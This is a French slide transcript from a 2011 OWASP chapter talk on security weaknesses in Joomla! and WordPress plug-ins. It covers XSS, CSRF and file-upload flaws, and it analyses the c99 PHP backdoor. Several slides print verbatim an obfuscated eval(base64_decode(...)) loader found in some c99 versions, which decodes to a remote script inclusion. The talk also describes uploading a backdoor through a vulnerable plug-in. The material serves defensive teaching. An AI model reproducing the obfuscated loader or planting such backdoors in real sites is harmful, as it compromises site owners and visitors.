La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains

Présentations similaires


Présentation au sujet: "Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains"— Transcription de la présentation:

1 Chapter meeting 17 février 2011 @ HEIG-VD Yverdon-Les-Bains
0-days: le diable se cache dans les plug-ins Durée: 45 minutes Flora Bottaccio, Sebastien Andrivet ADVtools SARL (Genève, Suisse)

2 Qui sommes-nous? Flora Bottaccio Sebastien Andrivet Compétences:
Analyste sécurité (ADVtools) Sebastien Andrivet Directeur (ADVtools) Compétences: Tests d’intrusion Audits Forensic Diagnostic de problèmes (réseau, applications, bases de données, …) Développements (cryptographie, signatures électroniques, …) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

3 Agenda WordPress, Joomla! Sécurité Les plug-ins 0-days - Démos C99
Q & R OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

4 WordPress, Joomla! Ce sont des “Content Management Systems”, des systèmes de gestion de contenu Avec TYPO3, WordPress et Joomla! sont les leaders du marché des CMS “open-source” en Suisse Dans le monde, les leaders sont WordPress, Joomla! et Drupal Les chiffres exactes dépendent du point de vue (les plus installés, les plus utilisés, etc.) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

5 Plug-ins WordPress et Joomla! sont des systèmes extensibles
Certaines de ces extensions sont appelées plug-ins Ces plug-ins sont une des raisons du succès de ces CMS: on trouve facilement des plug-ins pour tout et ils sont faciles à installer Mais est-ce compatible avec la sécurité ? OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

6 Sécurité Le mot “sécurité” peut vouloir dire différentes choses
Pour les fournisseurs de produits, “sécurité” signifie souvent “gestion des utilisateurs, des rôles et des droits” Ici, nous parlons plutôt d’attaques, d’injections, de cross-site scripting et de cross-site request forgery OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

7 Joomla! CMS libre et open source (GNU GPL) PHP + MySQL
Fork (évolution) du projet Mambo Très modulaire 2005: Version 1.0 2008: Version 1.5 2011 (10 janvier): version 1.6 OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

8 Sécurité de Joomla! Version 1.0: Quasiment rien Version 1.5:
Filtrage des données Audit des requêtes SQL Plus de chemin variable Meilleure gestion des sessions (session ID) Pas de gestion fine des accès à la base de données Version 1.6: Trop récente, pas évaluée Il existe un «Secure Coding Guideline» OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

9 Joomla!: Cross-Site Scripting (XSS)
JRequest Filtrage des entrées Gestion des guillemets (magic quotes) En lieu et place de $_GET, $_POST, $_REQUEST Mais ne “comprend” pas le SQL Rien pour la partie sortie (output) C’est au développeur de penser à utiliser les bonnes méthodes OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

10 Joomla!: Téléchargement (upload)
Le framework peut aider (un peu): JFile:makeSafe JPath::clean JFile::upload Mais c’est au développeur d’ajouter le bon code au bon endroit Il est très facile de faire des erreurs OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

11 Joomla!: Injections SQL
JRequest ne peut pas vous aider MySQL permet les procédures stockées, mais à partir de la version 5 Joomla! n’utilise ni les procédures stockées ni les requêtes paramétrées Tout le travail est laissé au développeur. A part les recommandations du Secure Coding Guide, il n’y a rien. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

12 Joomla!: Cross-Site Request Forgery
Système de jeton Les jetons sont gérés par Joomla! mais c’est au développeur d’ajouter le bon code au bon endroit: echo JHTML::_( 'form.token' ); JRequest::checkToken(); OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

13 Joomla! - En résumé Le Secure Coding Guide est un bon point de départ. Mais il est court, partiel et contestable sur certaines recommandations. Joomla! fournit quelques API pour sécuriser, mais rien n’est automatique Quasiment rien pour l’injection SQL L’équipe de Joomla! a fait un réel effort pour Joomla! lui-même. Mais quand est-il des plug-ins ? Partiel et contestable: injection SQL de 2e ordre. Pas un mot. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

14 WordPress CMS libre et open source (GNU GPL) PHP + MySQL
Fork (évolution) du projet b2 A l’origine du service WordPress.com OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

15 Historique de WordPress (simplifiée)
2003: Version 0.7 2004: 1.0 (Miles Davis), 1.2 (Charles Mindus) 2005: 1.5 (Billy Strayhorn) Fin 2005: 2.0 (Duke Elligton) 2007: 2.1 (Ella Fitzgerald ) 2008: 2.5 (Michael Brecker) 2009: 2.9 (Carmen McRae) 2010: 3.0 (Thelonious Monk) 2011: 3.1 (RC 3 sortie fin janvier) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

16 Sécurité de WordPress Faille de sécurité critique corrigée le 29 décembre 2010 (version 3.0.4): XSS Pas de «Secure Coding Guide» ou équivalent OWASP peut aider (cf. références) mais reste générique A part «Security is an interesting topic», pas grand-chose sur WordPress.org La page «Data Validation» est ce qui se rapproche le plus d’un «Coding Guide» OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

17 WordPress: Cross-Site Scripting (XSS)
Entrée: Pas grand chose Sortie: wp_specialchars (déprécié), esc_html, esp_html_e attribute_escape (déprécié), esc_attr, esc_attr_e clean_url, sanitize_url (déprécié), esc_url js_escape (déprécié), esc_js Note: exactement l’inverse de Joomla! (!) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

18 XSS: Erreur commune Code faux: C’est un attribut. Le code correct:
<input value="<?php echo wp_specialchars( $xss ); ?>" /> C’est un attribut. Le code correct: <input value="<?php echo attribute_escape( $xss ); ?>" /> Ou mieux: <input value="<?php esc_attr_e( $xss ); ?>" /> OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

19 WordPress: Téléchargement (upload)
validate_file, et encore (et où est la doc ?) Sinon, rien OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

20 WordPress: Injections SQL
intval, absint insert, update, prepare Les données vont être modifiées (escape) pour éviter les injections SQL esc_sql, like_escape Là encore, c’est l’inverse de Joomla! OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

21 WordPress: Cross-Site Request Forgery
NONCE (Number used once) Les jetons sont gérés par WordPress mais c’est au développeur d’ajouter le bon code au bon endroit: wp_nonce_field wp_verify_nonce check_admin_referer OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

22 WordPress - En résumé Pas de Secure Coding Guide, juste quelques articles ça et là Rien n’est automatique Meilleur que Joomla! contre les injections SQL Philosophie diamétralement opposée à Joomla! concernant la validation (entrée versus sortie) Quand est-il des plug-ins ? Partiel et contestable: injection SQL de 2e ordre. Pas un mot. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

23 En pratique: 0-days Joomla!: WordPress
CBProfileGallery (XSS) JoomGallery (CSRF) ProjectFork (CSRF) WordPress UserPhoto (file injection) Ce choix de plug-ins est totalement arbitraire OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

24 0-day: Joomla! | CBProfileGallery
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

25 CBProfileGallery - XSS
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

26 Pourquoi ? Joomla! est supposé filtrer les données (JRequest), mais ce composant est basé sur Community Builder (CB), un ensemble d’extensions de Joomla! CB court-circuite totalement Joomla! et utilise ses propres méthodes: _getReqParam (cbGetParam) au lieu de Jrequest Filtre également, mais dans ce cas, le filtrage est déficient Le code laisse penser qu’une injection SQL est également possible OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

27 OWASP Application Security Verification Standard 2009
OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

28 OWASP Application Security Verification Standard 2009
OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

29 OWASP Code Review Guide 2008 (1.1)
«Reviewing code for cross-site scripting», page 153 et suivante “To mitigate this type of vulnerability we need to perform a number of security tasks in our code: 1. Validate data 2. Encode unsafe output” OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

30 OWASP Testing Guide 2008 (3.0) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

31 0-day: Joomla! | ProjectFork
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

32 JoomGallery - CSRF L’attaque reste limitée dans ce cas précis: attaque uniquement sur un POST Cela ne marche pas sous IE 7/8/9, mais en général très bien sous Firefox (third-party cookies) Il y a d’autres cas où l’attaque est plus simple: démo suivante OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

33 0-day: Joomla! | JoomGallery
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

34 Attaque Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

35 Après l’attaque Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

36 Pourquoi ? Cette attaque CSRF est cette fois sur un GET
Toutes les méthodes du composant sont concernées par les attaques CSRF Le développeur a oublié le jeton (token) JRequest, par défaut, retourne indifféremment les paramètres POST et GET. Cela augmente la surface d’attaque. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

37 OWASP Application Security Verification Standard 2009
OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

38 OWASP Code Review Guide 2008 (1.1)
“[…] checking if the request has a valid session cookie is not enough, we need check if a unique identifier is sent with every HTTP request sent to the application” (page 163) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

39 0-day: WordPress | User Photo
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

40 Profil Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

41 Interception de la requête HTTP
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

42 Démo Backdoor téléchargée
Le composant n’a pas vu que ce n’était pas une image OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

43 Backdoor (c99 par exemple)
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

44 Démo User Photo: Bonus Il y a aussi un XSS (de type 2)…
OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

45 Est-ce que User Photo est utilisé ?
OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

46 OWASP OWASP Testing Guide: OWASP Code Review Guide:
OWASP-DV-015 «Incubated vulnerability» OWASP Code Review Guide: Pas explicitement abordé OWASP Application Security Verification Standard: OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

47 Publication WordPress User Photo: Autres composants:
Auteur et mainteneur du composant contacté: pas de réponse Advisory publié ce matin (17 Février 2011) Autres composants: Pas de publication OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

48 c99: un cheval de Troie dans la backdoor ?
Pour la démo, nous avons utilisé la Backdoor bien connue “c99” Il en existe de multiples versions Certaines versions sont encryptées pour éviter la détection par des Anti-Virus Mais certaines versions contiennent quelque chose de plus exotique… OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

49 c99 - images Ce shell PHP contient ce genre de code:
"change"=> "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEAAB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOCwSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgACHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDLzMshADs=", C’est en fait une image encodée en base64. Rien de suspect. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

50 Mais… Il contient aussi (suivant les versions):
$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

51 Cryptool 2 Essayons de décoder ce code. Plutôt que de le faire à la main, utilisons Cryptool 2. “Cryptool is a free, open-source e-learning application, used worldwide in the implementation and analysis of cryptographic algorithms”– La version est stable, mais avec une interface à la “Windows 95” et écrite en C++ Le version 2.0 est moins stable, mais plus graphique et écrite en C#/WPF Initié par la Deutch Bank avec des Universités. Version 2.0 hostée par l’Université de Duisburg. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

52 Exemple simple de Cryptool
Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

53 URL Encode pour Cryptool 2
Nous allons devoir manipuler des URL (encode/decode – escape/unescape) Il n’y a pas d’algorithme pour cela dans Cryptool 2 Nous avons donc créé notre propre plug-in pour Cryptool 2 Sera accessible (freeware) sur: OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

54 c99 $_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

55 3 lignes de code $_F=__FILE__;
$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+'; eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

56 Etape #1 Démo eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

57 Etape #2 Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

58 Etape #3 Démo César !!! OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

59 Etape #4 Démo OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

60 Résultat Ce code est donc finalement:
<SCRIPT SRC= Une inclusion de script, l’équivalent d’un XSS Cette adresse ne répond plus depuis un moment (404) On retrouve cette URL pour plusieurs shells (benladen shell, …) Un mouchard ? OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

61 Conclusion Joomla! et WordPress ne suivent que partiellement les recommandations telles que celles d’OWASP. Ils ont une approche parfois opposée. Tout le travail est laissé aux bons soins des développeurs. Concernant les plug-ins, c’est la roulette russe. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

62 Références Rapport Décembre 2010 de netobservatory.ch: Water and Stone 2010 Open Source CMS Market Share Report Wordpress Exploit Scanner Secure Coding with WordPress (attention, recommande des fonctions dépréciées) WordPress Data Validation Joomla! Secure Code Guidelines Hardening WordPress OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

63 Références OWASP A Guide to Building Secure Web Applications and Web Services (2005) OWASP Application Security Verification Standard 2009 – Web Application Standard OWASP Code Review Guide 2008 v1.1 OWASP Testing Guide 2008 v3.0 OWASP Top Edition Cryptool OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

64 Questions? © flickr.com/people/eleaf
OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

65 Merci! Pour nous contacter: flora@advtools.com sebastien@advtools.com
OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011


Télécharger ppt "Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains"

Présentations similaires


Annonces Google